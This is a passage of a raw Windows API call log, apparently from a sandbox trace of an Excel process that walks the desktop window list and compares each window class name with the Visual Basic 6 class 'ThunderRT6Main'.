nIndex=-6) returned 0x13f8c0000 [0218.556] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0218.556] GetWindowLongA (hWnd=0x202bc, nIndex=-16) returned 1149272145 [0218.557] GetWindowLongA (hWnd=0x10292, nIndex=-16) returned 1149272145 [0218.557] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x7d9f7d0 [0218.557] IMalloc:Free (This=0x7fefecb5380, pv=0x7d9f7d0) [0237.074] GetAsyncKeyState (vKey=27) returned 0 [0237.074] GetCurrentThreadId () returned 0xbdc [0237.074] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0237.075] GetDesktopWindow () returned 0x10010 [0237.075] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x400a8 [0237.075] GetClassNameA (in: hWnd=0x400a8, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0237.075] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0237.075] GetWindowThreadProcessId (in: hWnd=0x400a8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0237.075] GetWindow (hWnd=0x400a8, uCmd=0x2) returned 0x300b6 [0237.075] GetClassNameA (in: hWnd=0x300b6, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0237.075] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0237.075] GetWindowThreadProcessId (in: hWnd=0x300b6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0237.075] GetWindow (hWnd=0x300b6, uCmd=0x2) returned 0x500a4 [0237.075] GetClassNameA (in: hWnd=0x500a4, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0237.075] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0237.075] GetWindowThreadProcessId (in: hWnd=0x500a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0237.075] GetWindow (hWnd=0x500a4, uCmd=0x2) returned 0x1013c [0237.075] GetClassNameA (in: hWnd=0x1013c, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="ATL:000007FEF4C752C0") returned 20 [0237.075] lstrcmpA (lpString1="ATL:000007FEF4C752C0", lpString2="ThunderRT6Main") returned -1 [0237.075] GetWindowThreadProcessId (in: hWnd=0x1013c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x50c [0237.075] GetWindow (hWnd=0x1013c, uCmd=0x2) returned 0x10136 [0237.075] GetClassNameA (in: hWnd=0x10136, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.075] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.075] GetWindowThreadProcessId (in: hWnd=0x10136, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0237.075] GetWindow (hWnd=0x10136, uCmd=0x2) returned 0x10134 [0237.075] GetClassNameA (in: hWnd=0x10134, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="TaskSwitcherWnd") returned 15 [0237.075] lstrcmpA (lpString1="TaskSwitcherWnd", lpString2="ThunderRT6Main") returned -1 [0237.075] GetWindowThreadProcessId (in: hWnd=0x10134, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5a4 [0237.075] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x10076 [0237.075] GetClassNameA (in: hWnd=0x10076, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0237.075] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0237.075] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0237.075] GetWindow (hWnd=0x10076, uCmd=0x2) returned 0x10074 [0237.075] GetClassNameA (in: hWnd=0x10074, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0237.076] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0237.076] GetWindowThreadProcessId (in: hWnd=0x10074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0237.076] GetWindow (hWnd=0x10074, uCmd=0x2) returned 0x10060 [0237.076] GetClassNameA (in: hWnd=0x10060, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0237.076] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0237.076] GetWindowThreadProcessId (in: hWnd=0x10060, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0237.076] GetWindow (hWnd=0x10060, uCmd=0x2) returned 0x1008a [0237.076] GetClassNameA (in: hWnd=0x1008a, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0237.076] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0237.076] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0237.076] GetWindow (hWnd=0x1008a, uCmd=0x2) returned 0x1007e [0237.076] GetClassNameA (in: hWnd=0x1007e, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0237.076] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0237.076] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0237.076] GetWindow (hWnd=0x1007e, uCmd=0x2) returned 0x1007c [0237.076] GetClassNameA (in: hWnd=0x1007c, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0237.076] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0237.076] GetWindowThreadProcessId (in: hWnd=0x1007c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0237.076] GetWindow (hWnd=0x1007c, uCmd=0x2) returned 0x10078 [0237.076] GetClassNameA (in: hWnd=0x10078, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0237.076] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0237.076] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0237.076] GetWindow (hWnd=0x10078, uCmd=0x2) returned 0x10056 [0237.076] GetClassNameA (in: hWnd=0x10056, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0237.076] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0237.076] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0237.076] GetWindow (hWnd=0x10056, uCmd=0x2) returned 0x1004e [0237.076] GetClassNameA (in: hWnd=0x1004e, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.076] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.076] GetWindowThreadProcessId (in: hWnd=0x1004e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0237.076] GetWindow (hWnd=0x1004e, uCmd=0x2) returned 0x10058 [0237.077] GetClassNameA (in: hWnd=0x10058, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="Button") returned 6 [0237.077] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1 [0237.077] GetWindowThreadProcessId (in: hWnd=0x10058, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0237.077] GetWindow (hWnd=0x10058, uCmd=0x2) returned 0x10050 [0237.077] GetClassNameA (in: hWnd=0x10050, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13 [0237.077] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1 [0237.077] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0237.077] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x100f6 [0237.077] GetClassNameA (in: hWnd=0x100f6, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0237.077] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0237.077] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x45c [0237.077] GetWindow (hWnd=0x100f6, uCmd=0x2) returned 0x5009a [0237.077] GetClassNameA (in: hWnd=0x5009a, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0237.077] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0237.077] GetWindowThreadProcessId (in: hWnd=0x5009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0237.077] GetWindow (hWnd=0x5009a, uCmd=0x2) returned 0x1008c [0237.077] GetClassNameA (in: hWnd=0x1008c, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0237.077] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1 [0237.077] GetWindowThreadProcessId (in: hWnd=0x1008c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0237.077] GetWindow (hWnd=0x1008c, uCmd=0x2) returned 0x102d4 [0237.077] GetClassNameA (in: hWnd=0x102d4, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0237.077] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0237.077] GetWindowThreadProcessId (in: hWnd=0x102d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0237.077] GetWindowLongA (hWnd=0x102d4, nIndex=-16) returned -1946157056 [0237.077] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0237.077] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0237.077] GetWindow (hWnd=0x102d4, uCmd=0x2) returned 0x30154 [0237.077] GetClassNameA (in: hWnd=0x30154, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.077] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.077] GetWindowThreadProcessId (in: hWnd=0x30154, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0237.077] GetWindowLongA (hWnd=0x30154, nIndex=-16) returned -1946157056 [0237.077] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0237.077] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0237.078] GetWindow (hWnd=0x30154, uCmd=0x2) returned 0x2029c [0237.078] GetClassNameA (in: hWnd=0x2029c, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0237.078] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0237.078] GetWindowThreadProcessId (in: hWnd=0x2029c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0237.078] GetWindowLongA (hWnd=0x2029c, nIndex=-16) returned 399441920 [0237.078] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0237.078] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0237.078] GetWindow (hWnd=0x2029c, uCmd=0x2) returned 0x2038a [0237.078] GetClassNameA (in: hWnd=0x2038a, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0237.078] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0237.078] GetWindowThreadProcessId (in: hWnd=0x2038a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0237.078] GetWindowLongA (hWnd=0x2038a, nIndex=-16) returned 399441920 [0237.078] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0237.078] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0237.078] GetWindow (hWnd=0x2038a, uCmd=0x2) returned 0x140264 [0237.078] GetClassNameA (in: hWnd=0x140264, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21 [0237.078] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0237.078] GetWindowThreadProcessId (in: hWnd=0x140264, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x930 [0237.078] GetWindow (hWnd=0x140264, uCmd=0x2) returned 0x400c0 [0237.078] GetClassNameA (in: hWnd=0x400c0, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.078] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.078] GetWindowThreadProcessId (in: hWnd=0x400c0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x930 [0237.078] GetWindow (hWnd=0x400c0, uCmd=0x2) returned 0x20360 [0237.078] GetClassNameA (in: hWnd=0x20360, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="ThunderMain") returned 11 [0237.078] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1 [0237.078] GetWindowThreadProcessId (in: hWnd=0x20360, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0237.078] GetWindowLongA (hWnd=0x20360, nIndex=-16) returned -1946157056 [0237.078] GetWindowLongPtrA (hWnd=0x20360, nIndex=-6) returned 0x7fee5900000 [0237.078] IsWindowEnabled (hWnd=0x20360) returned 0 [0237.078] GetPropA (hWnd=0x20360, lpString=0xc121) returned 0x1 [0237.078] RemovePropA (hWnd=0x20360, lpString=0xc121) returned 0x1 [0237.078] EnableWindow (hWnd=0x20360, bEnable=1) returned 1 [0237.078] GetWindow (hWnd=0x20360, uCmd=0x2) returned 0x2030c [0237.078] GetClassNameA (in: hWnd=0x2030c, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0237.079] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0237.079] GetWindowThreadProcessId (in: hWnd=0x2030c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0237.079] GetWindowLongA (hWnd=0x2030c, nIndex=-16) returned 1149272145 [0237.079] GetWindow (hWnd=0x2030c, uCmd=0x2) returned 0x10350 [0237.079] GetClassNameA (in: hWnd=0x10350, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0237.079] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0237.079] GetWindowThreadProcessId (in: hWnd=0x10350, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xce0 [0237.079] GetWindow (hWnd=0x10350, uCmd=0x2) returned 0x202ee [0237.079] GetClassNameA (in: hWnd=0x202ee, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28 [0237.079] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1 [0237.079] GetWindowThreadProcessId (in: hWnd=0x202ee, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0237.079] GetWindowLongA (hWnd=0x202ee, nIndex=-16) returned 213909504 [0237.079] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0237.079] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0237.079] GetWindow (hWnd=0x202ee, uCmd=0x2) returned 0x302c4 [0237.079] GetClassNameA (in: hWnd=0x302c4, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13 [0237.079] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1 [0237.079] GetWindowThreadProcessId (in: hWnd=0x302c4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0237.079] GetWindowLongA (hWnd=0x302c4, nIndex=-16) returned -2080374784 [0237.079] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0237.079] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0237.079] GetWindow (hWnd=0x302c4, uCmd=0x2) returned 0x302c2 [0237.079] GetClassNameA (in: hWnd=0x302c2, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0237.079] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0237.079] GetWindowThreadProcessId (in: hWnd=0x302c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0237.080] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned -2080374784 [0237.080] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0237.080] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0237.080] GetWindow (hWnd=0x302c2, uCmd=0x2) returned 0x10270 [0237.080] GetClassNameA (in: hWnd=0x10270, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0237.080] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0237.080] GetWindowThreadProcessId (in: hWnd=0x10270, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0237.080] GetWindowLongA (hWnd=0x10270, nIndex=-16) returned 131006464 [0237.080] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0237.080] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0237.080] GetWindow (hWnd=0x10270, uCmd=0x2) returned 0x30152 [0237.080] GetClassNameA (in: hWnd=0x30152, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24 [0237.080] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1 [0237.080] GetWindowThreadProcessId (in: hWnd=0x30152, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbc8 [0237.080] GetWindow (hWnd=0x30152, uCmd=0x2) returned 0x3018c [0237.080] GetClassNameA (in: hWnd=0x3018c, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="ARC Window Class O16") returned 20 [0237.080] lstrcmpA (lpString1="ARC Window Class O16", lpString2="ThunderRT6Main") returned -1 [0237.080] GetWindowThreadProcessId (in: hWnd=0x3018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0237.080] GetWindowLongA (hWnd=0x3018c, nIndex=-16) returned -2080374784 [0237.080] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0237.080] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0237.080] GetWindow (hWnd=0x3018c, uCmd=0x2) returned 0x900a0 [0237.080] GetClassNameA (in: hWnd=0x900a0, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="DV2ControlHost") returned 14 [0237.080] lstrcmpA (lpString1="DV2ControlHost", lpString2="ThunderRT6Main") returned -1 [0237.080] GetWindowThreadProcessId (in: hWnd=0x900a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0237.080] GetWindow (hWnd=0x900a0, uCmd=0x2) returned 0x10262 [0237.080] GetClassNameA (in: hWnd=0x10262, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.080] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.080] GetWindowThreadProcessId (in: hWnd=0x10262, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb30 [0237.080] GetWindow (hWnd=0x10262, uCmd=0x2) returned 0x10260 [0237.080] GetClassNameA (in: hWnd=0x10260, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="Waiting_window") returned 14 [0237.080] lstrcmpA (lpString1="Waiting_window", lpString2="ThunderRT6Main") returned 1 [0237.080] GetWindowThreadProcessId (in: hWnd=0x10260, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb30 [0237.081] GetWindow (hWnd=0x10260, uCmd=0x2) returned 0x202bc [0237.081] GetClassNameA (in: hWnd=0x202bc, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0237.081] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0237.081] GetWindowThreadProcessId (in: hWnd=0x202bc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0237.081] GetWindowLongA (hWnd=0x202bc, nIndex=-16) returned 1149272145 [0237.081] GetWindow (hWnd=0x202bc, uCmd=0x2) returned 0x10292 [0237.081] GetClassNameA (in: hWnd=0x10292, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0237.081] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0237.081] GetWindowThreadProcessId (in: hWnd=0x10292, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbdc [0237.081] GetWindowLongA (hWnd=0x10292, nIndex=-16) returned 1149272145 [0237.081] GetWindow (hWnd=0x10292, uCmd=0x2) returned 0x300e6 [0237.081] GetClassNameA (in: hWnd=0x300e6, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0237.081] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0237.081] GetWindowThreadProcessId (in: hWnd=0x300e6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0237.081] GetWindow (hWnd=0x300e6, uCmd=0x2) returned 0x300be [0237.081] GetClassNameA (in: hWnd=0x300be, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="AUTHUI.DLL: Shutdown Choices Message Window") returned 43 [0237.081] lstrcmpA (lpString1="AUTHUI.DLL: Shutdown Choices Message Window", lpString2="ThunderRT6Main") returned -1 [0237.081] GetWindowThreadProcessId (in: hWnd=0x300be, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0237.081] GetWindow (hWnd=0x300be, uCmd=0x2) returned 0x300e4 [0237.081] GetClassNameA (in: hWnd=0x300e4, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="_SearchEditBoxFakeWindow") returned 24 [0237.081] lstrcmpA (lpString1="_SearchEditBoxFakeWindow", lpString2="ThunderRT6Main") returned -1 [0237.081] GetWindowThreadProcessId (in: hWnd=0x300e4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0237.081] GetWindow (hWnd=0x300e4, uCmd=0x2) returned 0x300ca [0237.081] GetClassNameA (in: hWnd=0x300ca, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0237.081] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0237.081] GetWindowThreadProcessId (in: hWnd=0x300ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0237.081] GetWindow (hWnd=0x300ca, uCmd=0x2) returned 0x300d4 [0237.081] GetClassNameA (in: hWnd=0x300d4, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0237.081] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0237.081] GetWindowThreadProcessId (in: hWnd=0x300d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0237.081] GetWindow (hWnd=0x300d4, uCmd=0x2) returned 0x400b4 [0237.081] GetClassNameA (in: hWnd=0x400b4, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0237.082] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0237.082] GetWindowThreadProcessId (in: hWnd=0x400b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0237.082] GetWindow (hWnd=0x400b4, uCmd=0x2) returned 0x300cc [0237.082] GetClassNameA (in: hWnd=0x300cc, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="Desktop User Picture") returned 20 [0237.082] lstrcmpA (lpString1="Desktop User Picture", lpString2="ThunderRT6Main") returned -1 [0237.082] GetWindowThreadProcessId (in: hWnd=0x300cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4c4 [0237.082] GetWindow (hWnd=0x300cc, uCmd=0x2) returned 0x1025e [0237.082] GetClassNameA (in: hWnd=0x1025e, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.082] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.082] GetWindowThreadProcessId (in: hWnd=0x1025e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb20 [0237.082] GetWindow (hWnd=0x1025e, uCmd=0x2) returned 0x1025c [0237.082] GetClassNameA (in: hWnd=0x1025c, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="Makers_genius_roles_app") returned 23 [0237.082] lstrcmpA (lpString1="Makers_genius_roles_app", lpString2="ThunderRT6Main") returned -1 [0237.082] GetWindowThreadProcessId (in: hWnd=0x1025c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb20 [0237.082] GetWindow (hWnd=0x1025c, uCmd=0x2) returned 0x10258 [0237.082] GetClassNameA (in: hWnd=0x10258, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="utg2_wnd") returned 8 [0237.082] lstrcmpA (lpString1="utg2_wnd", lpString2="ThunderRT6Main") returned 1 [0237.082] GetWindowThreadProcessId (in: hWnd=0x10258, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb10 [0237.082] GetWindow (hWnd=0x10258, uCmd=0x2) returned 0x1025a [0237.082] GetClassNameA (in: hWnd=0x1025a, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.082] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.082] GetWindowThreadProcessId (in: hWnd=0x1025a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb10 [0237.082] GetWindow (hWnd=0x1025a, uCmd=0x2) returned 0x10254 [0237.082] GetClassNameA (in: hWnd=0x10254, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="spgagentserviceclass") returned 20 [0237.082] lstrcmpA (lpString1="spgagentserviceclass", lpString2="ThunderRT6Main") returned -1 [0237.082] GetWindowThreadProcessId (in: hWnd=0x10254, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb00 [0237.082] GetWindow (hWnd=0x10254, uCmd=0x2) returned 0x10256 [0237.082] GetClassNameA (in: hWnd=0x10256, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.082] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.082] GetWindowThreadProcessId (in: hWnd=0x10256, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb00 [0237.083] GetWindow (hWnd=0x10256, uCmd=0x2) returned 0x20250 [0237.083] GetClassNameA (in: hWnd=0x20250, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="spcwinwnd") returned 9 [0237.083] lstrcmpA (lpString1="spcwinwnd", lpString2="ThunderRT6Main") returned -1 [0237.083] GetWindowThreadProcessId (in: hWnd=0x20250, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaf0 [0237.083] GetWindow (hWnd=0x20250, uCmd=0x2) returned 0x10252 [0237.083] GetClassNameA (in: hWnd=0x10252, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.083] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.083] GetWindowThreadProcessId (in: hWnd=0x10252, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xaf0 [0237.083] GetWindow (hWnd=0x10252, uCmd=0x2) returned 0x1024c [0237.083] GetClassNameA (in: hWnd=0x1024c, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="omniposcls") returned 10 [0237.083] lstrcmpA (lpString1="omniposcls", lpString2="ThunderRT6Main") returned -1 [0237.083] GetWindowThreadProcessId (in: hWnd=0x1024c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xadc [0237.083] GetWindow (hWnd=0x1024c, uCmd=0x2) returned 0x1024e [0237.083] GetClassNameA (in: hWnd=0x1024e, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="IME") returned 3 [0237.083] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0237.083] GetWindowThreadProcessId (in: hWnd=0x1024e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xadc [0237.083] GetWindow (hWnd=0x1024e, uCmd=0x2) returned 0x10248 [0237.083] GetClassNameA (in: hWnd=0x10248, lpClassName=0x18a620, nMaxCount=64 | out: lpClassName="mxslipstream") returned 12 [0237.083] lstrcmpA (lpString1="mxslipstream", lpString2="ThunderRT6Main") returned -1 [0237.083] GetWindowThreadProcessId 